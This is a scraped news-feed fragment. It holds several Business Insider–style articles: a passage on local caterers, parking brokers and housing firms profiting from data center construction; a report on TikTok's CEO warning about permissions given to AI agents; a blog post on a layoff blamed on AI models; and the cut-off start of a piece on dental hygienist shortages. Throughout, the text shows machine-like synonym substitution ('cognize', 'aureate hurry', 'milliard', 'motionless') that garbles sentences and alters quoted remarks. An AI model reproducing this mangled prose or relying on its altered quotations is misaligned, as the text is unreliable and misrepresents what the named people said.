tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6aca57f97bf24b4467e6a0e5&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:7916,&quot;aspectRatioH&quot;:5280}}' alt="Two galley workers prepared peeled potatoes beside a tagged synthetic tub in a business kitchen."> </p></div> <span> <figcaption e-name="image-caption"> Local restaurants and caterers partner alongside National Jobsite Catering to measure up and assist an influx of workers.&nbsp; <span e-name="image-source" itemprop="creditText"> Jason Andrew for BI </span> </figcaption> </span> </figure> <p>National Jobsite Catering is part of the financial ecosystem being generated by America's data center boom. The tech giants foremost <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">the AI buildout</a> are expected to expend additional than <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">$5 trillion</a> on innovation and data centers through 2030, alongside additional than <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">1,500 data centers</a> already in the plant in the US.</p><p>The <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">room anywhere a employee sleeps</a>, the gym he hits before his shift, his parking spot, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">his lunch</a> &mdash; these are all provided by a expanding network of businesses. Local firms in the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">suburban and agrarian areas</a> anywhere the bulk of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">data centers are being built</a> can get a windfall from a sole project, but a additional enduring proposition is the chance to assist site-to-site as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">construction crews</a> move around. Whether that translates into <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">lasting benefits for presenter towns</a> is at the bosom of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">growing pushback</a> against the motion of data centers popping up throughout the country.</p><p>Kaplan recognized the new chance a few years ago whenever a hyperscaler hired him to bring trucks to a location exterior Philadelphia to nourish 2,500 workers. "Literally the town that it was in had one eatery &mdash; and it was in a band club," he says.</p><p>To evade a lunch-hour bottleneck, Kaplan projected preparing meals in a impermanent galley and bringing them to the site. After replicating this example for another projects, his business now has 20 full-time workforce and partners alongside established local vendors, assisting them add equipment and scheme production. He estimates a project can employ concerning 15 local group in kitchen, delivery, and allocation roles.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6aca576442403ad8039a5604&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:7689,&quot;aspectRatioH&quot;:5129}}' alt="Kitchen workers group prepared food into dreary containers about a stainless alloy prep table."> </p></div> <span> <figcaption e-name="image-caption"> Studies of data center job innovation display a drop-off whenever building is complete.&nbsp; <span e-name="image-source" itemprop="creditText"> Jason Andrew for BI </span> </figcaption> </span> </figure> <p>"They cognize what they're doing," Kaplan says of the local partners. "But they've never cooked for 1,000 to 3,000 people."</p><p>Since pivoting to data centers exclusively four years ago, income has gone up 10X, Kaplan says.</p><hr><p>Before thousands of building workers can attain on-site, they need location to depart their cars &mdash; a logistical difficulty that's creating a new market.</p><p>WhereiPark began as a market for city parking spots, but its fastest-growing endeavor now comes from leasing many near data center building sites. General contractors have asked WhereiPark to discover as many as 2,000 spaces for a project. A chapel lot used chiefly on Sundays power work, as power a struggling buying center or a nearby fairground or casino. In additional distant locations, a contractor may need to class and stripe land. Local landowners, meanwhile, acquire impermanent earnings from unused area without <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">selling the farm</a>.</p><p>"If there's nowhere for the building workers to park, the item doesn't get built," says Joshua Eisen, WhereiPark's chief income officer.</p><p>A squad in Toronto does much of the hunt via asset data, calls, and emails; a partner or the broad contractor afterward inspects a prospective lot locally. The business additionally partners alongside shuttle operators to ferry workers between the many and building sites. For a builder juggling multiple projects, that method one communication and billing association alternatively of a new hunt and lease negotiation in all town.</p><p>A completed facility the size of a Walmart power have fair 50 spaces, so most many come back to their former use. WhereiPark can reiterate the hunt about another project without owning land.</p><p>With earth AI funding expected to exceed a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">trillion dollars</a> in 2026 alone, companies of all sizes are getting in on the aureate rush. Food services and accommodation administration elephantine <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Aramark launched</a> a new division called Nexus before this year, which offers hotel-like amenities, fitness centers, and recreation to assistance diagram skilled workers. The business noted that Nexus contracts transport higher-than-average gain margins. Executives projected that three first data center sites could all create Aramark concerning $150 myriad in annualized income formerly completely running.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6aca57b3301bb0551f49493e&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:7574,&quot;aspectRatioH&quot;:5052}}' alt="Person carries a ample cardboard box beside open pale cargo vans in a parking lot."> </p></div> <span> <figcaption e-name="image-caption"> Data center building is creating a aureate hurry for businesses wanting to get in on the action.&nbsp; <span e-name="image-source" itemprop="creditText"> Jason Andrew for BI </span> </figcaption> </span> </figure> <p>The data center accommodation endeavor has a precedent in the oil patch, anywhere companies have lengthy followed impermanent crews from project to project. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Target Hospitality</a>, a $1.8 milliard business that has housed oilfield workers and operated two Texas detention centers for ICE, is construction and functioning accommodations for data center building crews, including a $550 myriad agreement for a 4,000-bed facility in North Texas. The <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">company advertises</a> furnished bedrooms armed alongside small fridges and microwaves, as fine as common dining, gyms, and WiFi. Its <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">modular assets</a> can be redeployed elsewhere. In August, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">the business said</a> it has secured contracts representing additional than 9,000 beds and $1.4 milliard since January.</p><hr><p>Facing expanding opposition, hyperscalers have thrown the AI buildout as an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">engine of financial development</a>, promising <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">spillover benefits for local areas.</a></p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Microsoft's "community-first" promise</a> cited its cognition in Washington province to evaluation that for all straightforward building job created, another is generated in sectors including security, maintenance, retail, and food service. While spillovers certainly occur, the exact flat varies project to project.</p><p>To capitalize on that before-and-after <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">job creation</a>, Salute sells data center clients security, safety oversight, and specialized assistance during building and facility administration following it opens. The company, which has worked exclusively alongside data centers since its founding in 2013, brings in informed personnel to get sites operating during recruiting and training locally. It tends to employ veterans and oil and gas workers acquainted to distant job sites, and hopes those who relocate volition put downward roots. While engineers move to the next project, guards, cleaners, and several specialized workers can remain. After all, for a safety guard, the job doesn't alter much. "It's motionless the identical perimeter. It motionless has the identical barrier line," CEO Erich Sanchack says.</p><p>For local businesses, the activity can be unpredictable. In Louisiana, a brace spent additional than $40,000 on a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">food truck</a> to assist workers construction Meta's Hyperion data center, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Fortune reported</a>. Orders cut from additional than 100 a day to small than 40 following a contractor brought in an out-of-state caterer. Business afterward picked up again following a local newsman covered their plight, and Meta gave them a catering job. Now they're serving concerning 80 orders a day, owner Katie Stewart told me. They went through a boom, a bust, and a improvement before building was equal over.</p><p>Mark Muro, a elder chap at Brookings Metro who has studied <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel="">data centers' local financial impact</a>, established that the autumn functioning following building can be steep &mdash; <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">jobs can climb</a> into the thousands during building and autumn to the low hundreds formerly the accommodation open. But for small towns and agrarian areas, equal those remaining jobs "should be acknowledged as a contribution," he says. "It is genuine financial activity."</p><p>How lengthy that action lasts depends in part on the agreement a town strikes alongside data center builders. Negotiations can contain how much activity goes to locals, tax income collected, and whether the developer helps encounter demands on housing, roads, and another community services.</p><p>Due in part to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">blowback against data centers</a>, towns have additional leverage than they realize, Muro says. They should ask for the infrastructure, training, or jobs they need, he adds, "If they need a $400,000 blaze truck or whatever, ask for it."</p> <p> Business Insider's Discourse stories provision perspectives on the day's most pressing issues, informed by analysis, reporting, and expertise. </p> </div> <div e-name="post-bottom-most-popular"> <h2>Most popular</h2> <div data-component-type="most-popular" data-load-strategy="lazy" data-limit="6" data-hide-read-time="true" data-track-view='&quot;bi_value_unassigned&quot;}' data-track-click-shared='&quot;bi_value_unassigned&quot;}'> <span data-overlay-text="01"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="02"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="03"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="04"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="05"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="06"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> </div> </div> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div> <div> <p><span>Rani Molla is a innovation newsman alongside nearly 15 years of cognition covering Silicon Valley, AI, labor, and the companies reshaping society.</span> </p> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/welcome-to-the-magical-mystery-tour-of-the-ai-age-72127</guid> <pubDate>Mon, 12 Oct 2026 10:06:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Rani Molla)]]></author> </item> <item> <title><![CDATA[TikTok's CEO says people are going all in on AI agents without understanding how they work]]></title> <description><![CDATA[TikTok's CEO says people are going all in on AI agents without understanding how they work. Shou Zi Chew stated group need to comprehend the permissions they provision their individual AI agents and cognize the boundaries of satisfactory use.]]></description> <media:thumbnail url="https://i.insider.com/6acc87b942403ad8039a57dd?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/tiktok-s-ceo-says-people-are-going-all-in-on-ai-agents-without-understanding-how-they-work-72118</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6acc87987bf24b4467e6a2bf?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6acc87987bf24b4467e6a2bf?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6acc87987bf24b4467e6a2bf?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6acc87987bf24b4467e6a2bf?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6acc87987bf24b4467e6a2bf?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6acc87987bf24b4467e6a2bf?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6acc87987bf24b4467e6a2bf?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Shou Zi Chew attends the 2025 Breakthrough Prize Ceremony at Barker Hangar on April 05, 2025 in Santa Monica, California." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>TikTok CEO Shou Chew stated users should assessment the permissions and controls they aid to their AI agents.</span> <span> <span e-name="image-source" itemprop="creditText">Taylor Hill/FilmMagic</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">TikTok CEO Shou Zi Chew</a> has a reminder for AI delegate fans: obtain a attack to comprehend them before diving in.</p><p>"A lot of users may be giving permissions to the agents to do a lot of things for them, without really understanding what benevolent of permissions you have really given," Chew said, speaking at a gathering organized by DBS Bank in Singapore on Monday.</p><p>For example, he stated that agents who have been stated credit cardstock data to acquisition items for users may be "overly enthusiastic to deliver," and end up purchasing much additional than they were asked to.</p><p>The administrator added that TikTok is training its personnel on what data they should not contain in community chats alongside AI agents, specified as commerce secrets or privileged lawful information.</p><p>"So people, you know, sometimes are complete enthusiastic concerning how they use it," he said. "So I think understanding, you know, anywhere the boundaries of what is sensible and satisfactory use, is important."</p><p>Chew made these comments at the DBS Asia Future Forward Conference, whose theme centered on how AI could be implemented in Asia to create genuine value. During his fireside chat, he additionally talked concerning how he uses AI as a nutrition trainer and to answer medicinal questions.</p><p>Personal AI agents have seen a surge in the former few months, alongside the introduction of tools akin Meta's Muse assistant, SpaceXAI's Grok Bot, OpenAI's Dots, and the startup Instinct's AI agents.</p><p>They've been hailed as efficiency boosters, handling mundane tasks for users, specified as bookings, audits, and repetitive purchases. But users have additionally shared several <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">nightmare stories</a> of their agents going rogue and taking actions they hadn't anticipated.</p><p>Software business originator Shane Mac told Business Insider that his AI agent, tasked alongside sending him a month-end audit of his financial institution account, accidentally posted it to his <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">company's Slack chat</a>.</p> <p>Others have talked concerning their agents hallucinating data and misunderstanding instructions. Austin Welch, who plant in backing in Houston, told Business Insider that his Instinct delegate accidentally ordered <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">20 pounds of chicken</a> for his meal alongside his partner.</p> </div> <p> <h2> Read next </h2> </p> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Aditi is a news newsman at Business Insider&rsquo;s Singapore bureau. She covers hustle civilization and the forthcoming of work, focusing on how AI and innovation are reshaping jobs, careers, and workplaces.</span><span>She earlier worked for The Straits Times, anywhere she wrote breaking news stories for the Singapore desk.&nbsp;She studied communications and endeavor at Nanyang Technological University.&nbsp;</span><span></span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/tiktok-s-ceo-says-people-are-going-all-in-on-ai-agents-without-understanding-how-they-work-72118</guid> <pubDate>Mon, 12 Oct 2026 09:57:38 +0700</pubDate> <author><![CDATA[support@mycoding.id (Aditi Bharade)]]></author> </item> <item> <title><![CDATA[Fable Took My Job]]></title> <description><![CDATA[Fable Took My Job. Comments]]></description> <media:thumbnail url="https://cendyne.dev/c/JY6wB9Y9"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/fable-took-my-job-72128</link> <content:encoded><![CDATA[<div id="body"><div>Published Today - 8 min peruse - <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">Text Only</a><p>Its true. In a manner of speaking. If LLMs had not reached Fable / Mythos tier of <em>marketed</em> intelligence, I'd likely motionless have a job alongside the location I used to be at. For a abbreviated while.</p><p>It wasn't that Fable was improved at my job. As the <em>last</em> engineer, Fable was cheaper than my compensation. Evidently, it gave adequate confidence to the final vestiges of guidance that they could shoreline until M&amp;A.</p><figure><img width="128" height="128" alt="snake-shrug" src="https://cendyne.dev/s/512/cendyne/snake-shrug" sizes="512px"><figcaption></figcaption></figure><p>I've been through layoffs driven by prosperity cuts. I had to mechanically validate "I need this individual since this merchandise I'm oversee is crucial to the endeavor and motionless needs ownership" against a prosperity ceiling. Those I trusted to build out a greenfield merchandise had their positions eliminated. The position quo was additional crucial to keep than resolving our operational issues alongside the next generation of our infrastructure.</p><p>That archetypal gathering shattered my soul. I heard my ears circle additional violently than ever. The color drained from the world. I could barely stroll straight.</p><p>And, the next day, I went to a home gathering alongside two of my reports current knowing that the two of them would endure their job next week alongside zero notice.</p><p>I cognize archetypal hand what it is akin to cognize and afterward execute on a layoff.</p><p>Finally, it was my time. I've had sorrow multiple times expecting it to arrive earlier. When it eventually came, I took it fine for a few hours.</p><figure><img width="128" height="128" alt="my-heart" src="https://cendyne.dev/s/512/cendyne/my-heart" sizes="512px"><figcaption></figcaption></figure><p>Then my bosom went to complete 100 bpm as the fear and doubt for my forthcoming set in. And it didn't comfort off for complete a week.</p><p>Do you cognize how difficult it is to sleep whenever all you can comprehend is your own heartbeat? Do you cognize how difficult it is to function alongside four productive hours of sleep whenever you recommendation your build ten? It is rough.</p><p>Several in my social circles are having difficulty too. Six or Seven in a DevOps involvement collection have been laid off or have received a layoff notice in the final month. Work at one of FAANG of all places and oops, you're not crucial now! Here's 6 months of severance, we're so nice. "Ship happens" oh right, we can't container your material since of several matter limitation or let you choice up a box alongside several dignity, so we destroyed your stuff. GLHF.</p><p>Then there's that hiring director who interviewed me at another business who afterward got laid off one week afterward since the CEO made a substantively delayed "AI is changing how we create software" article. And another who misplaced their entire team, notwithstanding actively interviewing group in the USA, since a top-down decision was to offshore again following AI aid raised the capability of activity for the small passionate, small experienced, and small costly workforce.</p><p>"AI took my job" is far additional fun to say than "AI contributed to my function being eliminated."</p><p>The frontier models are not fine adequate to substitute an informed engineer. They motionless are not, equal although the promotion by the US frontier labs (and their 'I discontinue since I'm scared' employees) scream of what's to come.</p><p>These models deficiency the sensation that makes for productive merchandise decision making. It is cheaper than always for a merchandise director to say "Someone complains concerning this on reddit, let's execute it", during the elegant chief says 'No, that's not what our merchandise is. Making that method we commit to it for a lengthy period and our customers really desire {something alternatively we already do, but not perfectly} instead.'</p><p>These models deficiency the foresight to foretell consequences weeks, months, years downward the row on decisions and commitments &mdash; in functioning costs, complexity, accessibility, and affordability to the extremely customers the merchandise is for. All those secondary things really matter in making a merchandise prosperous and value buying. The slop services out there omit these secondary things all the period and you can <em>taste</em> it.</p><p>And yet, models <em>are</em> evidently capable to provision <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Shopify the confidence</a> to yeet react-native out into the sea and attain rear to native iOS and android apps, entirely machine-coded during overseen by alternatively informed and elegant application developers.</p><figure><img width="128" height="128" alt="snake-battery-ocean" src="https://cendyne.dev/s/512/cendyne/snake-battery-ocean" sizes="512px"><figcaption></figcaption></figure><p>And, I concur alongside Shopify. Models <em>are</em> getting fine adequate anywhere they can be driven stage by step, alongside a carefully crafted harness, to reproduce and harbor the behaviors they've A/B tested into oblivion as humans. They can shove a rock up a hill. Then up the next hill, and so on &mdash; whenever the method can be measured and check-pointed.</p><p>Agents are terribly fine at copying things throughout domains. Just appearance at Theo's "for the memes" <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">typescript in rust</a> port. It ported the ts-go code to rust. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">According to Theo</a>, Opus 5.5 reproduced bugs from the go type in the rust type exactly. On the another hand, Astra (the competitor to Fable), unsuccessful at item so familiar, fine known, and fine documented.</p><p>We're heading towards the end of the twelvemonth and I motionless do not see how these copy-machines alongside "<em>super</em> intelligence" inner are going to substitute humans. What they have done is convince those alongside prosperity to expend alternatively on their chap humans.</p><p>Anyway, I got item alternatively now. I get to see screens akin this all day:</p><p><img data-blurhash="L03IYJofM{oft7fQayfQWBfQj[fQ" data-width="645" data-height="544" data-ratio="true" src="https://cendyne.dev/c/wT7YTvUP?width=645" alt="hmm hmm hmm hmmm" width="645" height="544"></p><p>The joy of programming is dying. The joy of delivering results lives on.</p><p><img data-blurhash="E02rs+xuRjRjIUWB_3xuWBRjRjfQ" data-width="450" data-height="112" data-ratio="true" src="https://cendyne.dev/c/v1sn6dsV?width=645" alt="I keep hallucinating" width="450" height="112"></p><p><em>I'm starting to think Frontier lab workforce are going insane since they're staring at this all day.</em></p></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/fable-took-my-job-72128</guid> <pubDate>Mon, 12 Oct 2026 09:30:33 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[The giant cavity in America's dental care industry]]></title> <description><![CDATA[The giant cavity in America's dental care industry. Dental offices are struggling to employ and keep hygienists. Burnout, injuries, and deficiency of health coverage are contributing to a important shortage.]]></description> <media:thumbnail url="https://i.insider.com/6ac93db0301bb0551f494618?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/the-giant-cavity-in-america-s-dental-care-industry-72119</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://www.businessinsider.com//90" srcset="https://i.insider.com/6ac93db0301bb0551f494618?width=400&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 400w, https://i.insider.com/6ac93db0301bb0551f494618?width=500&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 500w, https://i.insider.com/6ac93db0301bb0551f494618?width=700&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 700w, https://i.insider.com/6ac93db0301bb0551f494618?width=1000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1000w, https://i.insider.com/6ac93db0301bb0551f494618?width=1300&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1300w, https://i.insider.com/6ac93db0301bb0551f494618?width=2000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 2000w" sizes=" 1280px) 900px" alt="A dental hygienist in blue scrubs stands inner a elephantine tooth-shaped arch alongside a red EXIT sign." decoding="sync"> </p></div> <span> <span e-name="image-source" itemprop="creditText">Getty Images; Alyssa Powell/BI</span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>When Elysse Morris decided to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">become a dental hygienist</a>, it seemed akin a natural fit. She was a fairly "sciencey" pupil in elevated academy and mostly liked going to the dentist. Plus, she'd continually been a talker.</p><p>Eleven years into her career, Morris, now 34, knows she could likely be making additional money. Her residence province of Virginia has a serious deficit of dental hygienists, and impermanent workers can command elevated hourly rates by hopping between practices. But Morris has spent four years at the identical privately owned agency since she's blessed there. Her chief gives her decent equipment, benefits, a bonus, and &mdash; most considerably &mdash; respect. The dentist treats her akin a clinician fairly than a brace of hands.</p><p>"We're not workers to her," Morris says.</p><p>Her setup is what those in the endeavor call a "unicorn" office, and the abbreviated provision of these norm workplaces is assisting logic a abbreviated provision of dental hygienists throughout the country.</p><hr><p>I'm not kidding whenever I say I affection my dental hygienist. I was going to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">quit my dentist</a>, who I awareness akin frequently tries to shove questionable treatments on me, but afterward Andrea started, and she's amazing. Last period I was in the office, I mentioned my union was bargaining a new contract, and she stated she desired hygienists had a union of their own. It makes awareness that they don't &mdash; the United States doesn't do <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">sectoral bargaining</a>, and most hygienists have traditionally worked in small, personal offices anywhere organizing would be difficult &mdash; but it got me thinking. I have no idea whether hygienists, in general, are having a fine time.</p><p>Turns out, they're not.</p><p>According to the American Dental Association's Health Policy Institute, lone 60% of dentists study having an adequate figure of dental hygienists on staff. States specified as Virginia, Missouri, Texas, and California say they need hundreds additional clinicians.</p><p>The issue isn't a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">lack of demand</a> &mdash; the Bureau of Labor Statistics expects occupation for hygienists to develop much faster than average complete the next decade. The genuine battle is that the site is having a difficult period getting new hygienists in the door, as informed hygienists are heading for the exits. Dental hygiene programs at community colleges and universities aren't agile adequate to addition their stream of new graduates, all during seasoned clinicians are deciding the bodily toll, dense workload, and deficiency of benefits aren't value it.</p><p>"Burnout is so high," Morris says. You're basically "trying to be a perfectionist all day long."</p><p>The result: lengthy delay times for patients and projected solutions that several hygienists concern could guide to worse care.</p><hr><p>Prior to 2020, dental hygienists weren't exactly skipping gleefully into activity &mdash; there were already issues about office culture, compensation, and opportunities for growth. But <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">the epidemic exacerbated</a> many of these problems. Many <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">offices temporarily closed</a>, hitting staff's base lines. When they reopened, hygienists abruptly established themselves on the forefront lines, exposed to the microorganism in their close-contact, aerosol-generating activity and managing new safety and equipment protocols &mdash; all during juggling their disrupted regular lives.</p><p>On a representative day, hygienists see eight to 10 patients, all alongside distinct anxieties, histories, and baggage. One individual comes in ranting concerning how <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">COVID isn't real</a>, the next talks concerning their gramps dying of it. In the two cases, the hygienist must oversee the affectional climate during abrasion tartar from tooth enamel alongside microscopic precision. After months of this, many decided they'd had enough. Those who were near to withdrawal pulled the trigger, and others went buying about for new careers. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">An estimated</a> 3,300 hygienists remaining the field.</p><p>The acute issues of the epidemic exacerbated long-standing problems in the industry. Dental hygiene is a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">physically demanding job</a>. Professionals discover themselves hunched complete for ample parts of the day, and injuries to the neck, shoulders, wrists, and lesser rear are common. Many dental practices &mdash; particularly the smaller ones &mdash; don't provision benefits specified as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">health insurance</a> to their workers. That may propel hygienists to 